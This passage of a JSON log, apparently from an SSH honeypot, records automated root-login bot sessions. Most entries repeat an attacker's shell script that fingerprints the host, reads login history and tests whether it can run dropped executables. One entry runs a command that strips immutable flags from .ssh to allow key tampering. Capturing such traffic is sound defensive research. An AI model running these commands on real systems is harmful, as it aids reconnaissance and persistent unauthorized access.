  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:10:24.631428+00:00",
  "ended_at": "2026-08-26T16:10:24.758753+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f6aa313f-8543-44b7-9b12-e68226a604e6",
  "name": "bashful-foggy-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 46466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:08:37.455319+00:00",
  "ended_at": "2026-08-26T16:08:37.560895+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "23a9fb9c-5201-46e8-aab0-6326f09fcf93",
  "name": "daring-watchful-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 43570,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:06:49.192379+00:00",
  "ended_at": "2026-08-26T16:06:49.374787+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cc6fdb07-6f82-4d91-a817-aaa6b6bcdcf0",
  "name": "mottled-marbled-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 40708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:04:59.966245+00:00",
  "ended_at": "2026-08-26T16:05:00.104883+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "79c994ff-1043-48de-b877-ad144b653374",
  "name": "nameless-bashful-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 37870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:03:06.194213+00:00",
  "ended_at": "2026-08-26T16:03:06.308859+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "781f0fa7-6ac3-47ca-8792-2ab888a6ad06",
  "name": "leafy-shifting-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "14.225.173.146",
  "src_port": 35112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1424,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:02:51.702893+00:00",
  "ended_at": "2026-08-26T16:02:52.866853+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "1114f7d9-73ba-48aa-aa42-8c3419f56fc3",
  "name": "zealous-indigo-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.225.173.146",
  "src_port": 53450,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:02:28.027864+00:00",
  "ended_at": "2026-08-26T16:02:29.300364+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c194abd-47cb-4432-a0bb-e0d11e0d7933",
  "name": "nautical-barren-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 34992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T16:01:02.058803+00:00",
  "ended_at": "2026-08-26T16:01:02.168006+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b495c2af-3aa9-4524-a7b4-8f13b69f7fba",
  "name": "sleepy-muted-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 60356,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
